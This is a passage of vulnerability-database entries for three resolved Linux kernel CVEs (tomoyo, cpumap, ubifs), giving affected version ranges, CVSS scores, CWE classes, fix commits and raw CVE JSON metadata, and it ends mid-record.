Linux	Linux	Affected: bd03a3e4c9a9df0c6b007045fa7fc8889111a478 , < c67efabddc73171c7771d3ffe4ffa1e503ee533e (git) Affected: bd03a3e4c9a9df0c6b007045fa7fc8889111a478 , < f6b37b3e12de638753bce79a2858070b9c4a4ad3 (git) Affected: bd03a3e4c9a9df0c6b007045fa7fc8889111a478 , < b2bd5857a0d6973ebbcb4d9831ddcaebbd257be1 (git) Affected: bd03a3e4c9a9df0c6b007045fa7fc8889111a478 , < a01c200fa7eb59da4d2dbbb48b61f4a0d196c09f (git) Affected: bd03a3e4c9a9df0c6b007045fa7fc8889111a478 , < fe1c021eb03dae0dc9dce55e81f77a60e419a27a (git) Affected: bd03a3e4c9a9df0c6b007045fa7fc8889111a478 , < c9382f380e8d09209b8e5c0def0545852168be25 (git) Affected: bd03a3e4c9a9df0c6b007045fa7fc8889111a478 , < 414705c0303350d139b1dc18f329fe47dfb642dd (git) Affected: bd03a3e4c9a9df0c6b007045fa7fc8889111a478 , < 3df7546fc03b8f004eee0b9e3256369f7d096685 (git)
Linux	Linux	Affected: 3.1 Unaffected: 0 , < 3.1 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.78 , ≤ 6.6.* (semver) Unaffected: 6.12.14 , ≤ 6.12.* (semver) Unaffected: 6.13.3 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:34:20.277Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:06.884Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "security/tomoyo/common.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "c67efabddc73171c7771d3ffe4ffa1e503ee533e",
              "status": "affected",
              "version": "bd03a3e4c9a9df0c6b007045fa7fc8889111a478",
              "versionType": "git"
            },
            {
              "lessThan": "f6b37b3e12de638753bce79a2858070b9c4a4ad3",
              "status": "affected",
              "version": "bd03a3e4c9a9df0c6b007045fa7fc8889111a478",
              "versionType": "git"
            },
            {
              "lessThan": "b2bd5857a0d6973ebbcb4d9831ddcaebbd257be1",
              "status": "affected",
              "version": "bd03a3e4c9a9df0c6b007045fa7fc8889111a478",
              "versionType": "git"
            },
            {
              "lessThan": "a01c200fa7eb59da4d2dbbb48b61f4a0d196c09f",
              "status": "affected",
              "version": "bd03a3e4c9a9df0c6b007045fa7fc8889111a478",
              "versionType": "git"
            },
            {
              "lessThan": "fe1c021eb03dae0dc9dce55e81f77a60e419a27a",
              "status": "affected",
              "version": "bd03a3e4c9a9df0c6b007045fa7fc8889111a478",
              "versionType": "git"
            },
            {
              "lessThan": "c9382f380e8d09209b8e5c0def0545852168be25",
              "status": "affected",
              "version": "bd03a3e4c9a9df0c6b007045fa7fc8889111a478",
              "versionType": "git"
            },
            {
              "lessThan": "414705c0303350d139b1dc18f329fe47dfb642dd",
              "status": "affected",
              "version": "bd03a3e4c9a9df0c6b007045fa7fc8889111a478",
              "versionType": "git"
            },
            {
              "lessThan": "3df7546fc03b8f004eee0b9e3256369f7d096685",
              "status": "affected",
              "version": "bd03a3e4c9a9df0c6b007045fa7fc8889111a478",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "security/tomoyo/common.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.1"
            },
            {
              "lessThan": "3.1",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.78",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "3.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "3.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "3.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "3.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.78",
                  "versionStartIncluding": "3.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.14",
                  "versionStartIncluding": "3.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.3",
                  "versionStartIncluding": "3.1",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "3.1",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ntomoyo: don\u0027t emit warning in tomoyo_write_control()\n\nsyzbot is reporting too large allocation warning at tomoyo_write_control(),\nfor one can write a very very long line without new line character. To fix\nthis warning, I use __GFP_NOWARN rather than checking for KMALLOC_MAX_SIZE,\nfor practically a valid line should be always shorter than 32KB where the\n\"too small to fail\" memory-allocation rule applies.\n\nOne might try to write a valid line that is longer than 32KB, but such\nrequest will likely fail with -ENOMEM. Therefore, I feel that separately\nreturning -EINVAL when a line is longer than KMALLOC_MAX_SIZE is redundant.\nThere is no need to distinguish over-32KB and over-KMALLOC_MAX_SIZE."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:03:00.474Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/c67efabddc73171c7771d3ffe4ffa1e503ee533e"
        },
        {
          "url": "https://git.kernel.org/stable/c/f6b37b3e12de638753bce79a2858070b9c4a4ad3"
        },
        {
          "url": "https://git.kernel.org/stable/c/b2bd5857a0d6973ebbcb4d9831ddcaebbd257be1"
        },
        {
          "url": "https://git.kernel.org/stable/c/a01c200fa7eb59da4d2dbbb48b61f4a0d196c09f"
        },
        {
          "url": "https://git.kernel.org/stable/c/fe1c021eb03dae0dc9dce55e81f77a60e419a27a"
        },
        {
          "url": "https://git.kernel.org/stable/c/c9382f380e8d09209b8e5c0def0545852168be25"
        },
        {
          "url": "https://git.kernel.org/stable/c/414705c0303350d139b1dc18f329fe47dfb642dd"
        },
        {
          "url": "https://git.kernel.org/stable/c/3df7546fc03b8f004eee0b9e3256369f7d096685"
        }
      ],
      "title": "tomoyo: don\u0027t emit warning in tomoyo_write_control()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-58085",
    "datePublished": "2025-03-06T16:22:32.761Z",
    "dateReserved": "2025-03-06T15:52:09.184Z",
    "dateUpdated": "2026-05-12T12:02:06.884Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27431 (GCVE-0-2024-27431)

Vulnerability from cvelistv5 – Published: 2024-05-17 12:02 – Updated: 2026-05-12 11:51

Title

cpumap: Zero-initialise xdp_rxq_info struct before running XDP program

Summary

In the Linux kernel, the following vulnerability has been resolved: cpumap: Zero-initialise xdp_rxq_info struct before running XDP program When running an XDP program that is attached to a cpumap entry, we don't initialise the xdp_rxq_info data structure being used in the xdp_buff that backs the XDP program invocation. Tobias noticed that this leads to random values being returned as the xdp_md->rx_queue_index value for XDP programs running in a cpumap. This means we're basically returning the contents of the uninitialised memory, which is bad. Fix this by zero-initialising the rxq data structure before running the XDP program.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-908 - Use of Uninitialized Resource

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/5f4e51abfbe6eb444…
https://git.kernel.org/stable/c/f0363af9619c77730…
https://git.kernel.org/stable/c/3420b3ff1ff489c17…
https://git.kernel.org/stable/c/f562e4c4aab00986d…
https://git.kernel.org/stable/c/eaa7cb836659ced2d…
https://git.kernel.org/stable/c/2487007aa3b9fafbd…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 9216477449f33cdbc9c9a99d49f500b7fbb81702 , < 5f4e51abfbe6eb444fa91906a5cd083044278297 (git) Affected: 9216477449f33cdbc9c9a99d49f500b7fbb81702 , < f0363af9619c77730764f10360e36c6445c12f7b (git) Affected: 9216477449f33cdbc9c9a99d49f500b7fbb81702 , < 3420b3ff1ff489c177ea1cb7bd9fbbc4e9a0be95 (git) Affected: 9216477449f33cdbc9c9a99d49f500b7fbb81702 , < f562e4c4aab00986dde3093c4be919c3f2b85a4a (git) Affected: 9216477449f33cdbc9c9a99d49f500b7fbb81702 , < eaa7cb836659ced2d9f814ac32aa3ec193803ed6 (git) Affected: 9216477449f33cdbc9c9a99d49f500b7fbb81702 , < 2487007aa3b9fafbd2cb14068f49791ce1d7ede5 (git)
Linux	Linux	Affected: 5.9 Unaffected: 0 , < 5.9 (semver) Unaffected: 5.10.213 , ≤ 5.10.* (semver) Unaffected: 5.15.152 , ≤ 5.15.* (semver) Unaffected: 6.1.82 , ≤ 6.1.* (semver) Unaffected: 6.6.22 , ≤ 6.6.* (semver) Unaffected: 6.7.10 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "9216477449f3"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:a:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "affected",
                "version": "5.9"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:a:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "0"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "5.10.213"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "5.15.152"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.1.82"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.6.22"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:a:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.7.10"
              }
            ]
          },
          {
            "cpes": [
              "cpe:2.3:a:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "status": "unaffected",
                "version": "6.8"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-27431",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-17T16:29:06.840486Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-908",
                "description": "CWE-908 Use of Uninitialized Resource",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-01-23T21:49:35.963Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:34:52.315Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5f4e51abfbe6eb444fa91906a5cd083044278297"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f0363af9619c77730764f10360e36c6445c12f7b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3420b3ff1ff489c177ea1cb7bd9fbbc4e9a0be95"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f562e4c4aab00986dde3093c4be919c3f2b85a4a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/eaa7cb836659ced2d9f814ac32aa3ec193803ed6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2487007aa3b9fafbd2cb14068f49791ce1d7ede5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:37.909Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/bpf/cpumap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5f4e51abfbe6eb444fa91906a5cd083044278297",
              "status": "affected",
              "version": "9216477449f33cdbc9c9a99d49f500b7fbb81702",
              "versionType": "git"
            },
            {
              "lessThan": "f0363af9619c77730764f10360e36c6445c12f7b",
              "status": "affected",
              "version": "9216477449f33cdbc9c9a99d49f500b7fbb81702",
              "versionType": "git"
            },
            {
              "lessThan": "3420b3ff1ff489c177ea1cb7bd9fbbc4e9a0be95",
              "status": "affected",
              "version": "9216477449f33cdbc9c9a99d49f500b7fbb81702",
              "versionType": "git"
            },
            {
              "lessThan": "f562e4c4aab00986dde3093c4be919c3f2b85a4a",
              "status": "affected",
              "version": "9216477449f33cdbc9c9a99d49f500b7fbb81702",
              "versionType": "git"
            },
            {
              "lessThan": "eaa7cb836659ced2d9f814ac32aa3ec193803ed6",
              "status": "affected",
              "version": "9216477449f33cdbc9c9a99d49f500b7fbb81702",
              "versionType": "git"
            },
            {
              "lessThan": "2487007aa3b9fafbd2cb14068f49791ce1d7ede5",
              "status": "affected",
              "version": "9216477449f33cdbc9c9a99d49f500b7fbb81702",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/bpf/cpumap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.9"
            },
            {
              "lessThan": "5.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.213",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.152",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.82",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.22",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.213",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.152",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.82",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.22",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.10",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8",
                  "versionStartIncluding": "5.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ncpumap: Zero-initialise xdp_rxq_info struct before running XDP program\n\nWhen running an XDP program that is attached to a cpumap entry, we don\u0027t\ninitialise the xdp_rxq_info data structure being used in the xdp_buff\nthat backs the XDP program invocation. Tobias noticed that this leads to\nrandom values being returned as the xdp_md-\u003erx_queue_index value for XDP\nprograms running in a cpumap.\n\nThis means we\u0027re basically returning the contents of the uninitialised\nmemory, which is bad. Fix this by zero-initialising the rxq data\nstructure before running the XDP program."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:10:40.695Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/5f4e51abfbe6eb444fa91906a5cd083044278297"
        },
        {
          "url": "https://git.kernel.org/stable/c/f0363af9619c77730764f10360e36c6445c12f7b"
        },
        {
          "url": "https://git.kernel.org/stable/c/3420b3ff1ff489c177ea1cb7bd9fbbc4e9a0be95"
        },
        {
          "url": "https://git.kernel.org/stable/c/f562e4c4aab00986dde3093c4be919c3f2b85a4a"
        },
        {
          "url": "https://git.kernel.org/stable/c/eaa7cb836659ced2d9f814ac32aa3ec193803ed6"
        },
        {
          "url": "https://git.kernel.org/stable/c/2487007aa3b9fafbd2cb14068f49791ce1d7ede5"
        }
      ],
      "title": "cpumap: Zero-initialise xdp_rxq_info struct before running XDP program",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27431",
    "datePublished": "2024-05-17T12:02:10.274Z",
    "dateReserved": "2024-02-25T13:47:42.686Z",
    "dateUpdated": "2026-05-12T11:51:37.909Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-58058 (GCVE-0-2024-58058)

Vulnerability from cvelistv5 – Published: 2025-03-06 15:54 – Updated: 2026-05-12 12:02

Title

ubifs: skip dumping tnc tree when zroot is null

Summary

In the Linux kernel, the following vulnerability has been resolved: ubifs: skip dumping tnc tree when zroot is null Clearing slab cache will free all znode in memory and make c->zroot.znode = NULL, then dumping tnc tree will access c->zroot.znode which cause null pointer dereference.

Severity ?

5.5 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/428aff8f7cfb0d9a8…
https://git.kernel.org/stable/c/6211c11fc20424bbc…
https://git.kernel.org/stable/c/1787cd67bb94b1065…
https://git.kernel.org/stable/c/e01b55f261ccc96e3…
https://git.kernel.org/stable/c/40e25a3c006393576…
https://git.kernel.org/stable/c/77e5266e3d3faa6bd…
https://git.kernel.org/stable/c/2a987950df825d014…
https://git.kernel.org/stable/c/bdb0ca39e0acccf67…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d , < 428aff8f7cfb0d9a8854477648022cef96bcab28 (git) Affected: 1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d , < 6211c11fc20424bbc6d79c835c7c212b553ae898 (git) Affected: 1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d , < 1787cd67bb94b106555ffe64f887f6aa24b47010 (git) Affected: 1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d , < e01b55f261ccc96e347eba4931e4429d080d879d (git) Affected: 1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d , < 40e25a3c0063935763717877bb2a814c081509ff (git) Affected: 1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d , < 77e5266e3d3faa6bdcf20d9c68a8972f6aa06522 (git) Affected: 1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d , < 2a987950df825d0144370e700dc5fb337684ffba (git) Affected: 1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d , < bdb0ca39e0acccf6771db49c3f94ed787d05f2d7 (git)
Linux	Linux	Affected: 2.6.27 Unaffected: 0 , < 2.6.27 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.129 , ≤ 6.1.* (semver) Unaffected: 6.6.76 , ≤ 6.6.* (semver) Unaffected: 6.12.13 , ≤ 6.12.* (semver) Unaffected: 6.13.2 , ≤ 6.13.* (semver) Unaffected: 6.14 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 5.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-58058",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-01T19:28:19.624482Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-476",
                "description": "CWE-476 NULL Pointer Dereference",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-01T19:36:37.904Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:33:54.763Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:02:01.810Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/ubifs/debug.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "428aff8f7cfb0d9a8854477648022cef96bcab28",
              "status": "affected",
              "version": "1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d",
              "versionType": "git"
            },
            {
              "lessThan": "6211c11fc20424bbc6d79c835c7c212b553ae898",
              "status": "affected",
              "version": "1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d",
              "versionType": "git"
            },
            {
              "lessThan": "1787cd67bb94b106555ffe64f887f6aa24b47010",
              "status": "affected",
              "version": "1e51764a3c2ac05a23a22b2a95ddee4d9bffb16d",
              "versionType": "git"
            },
            {
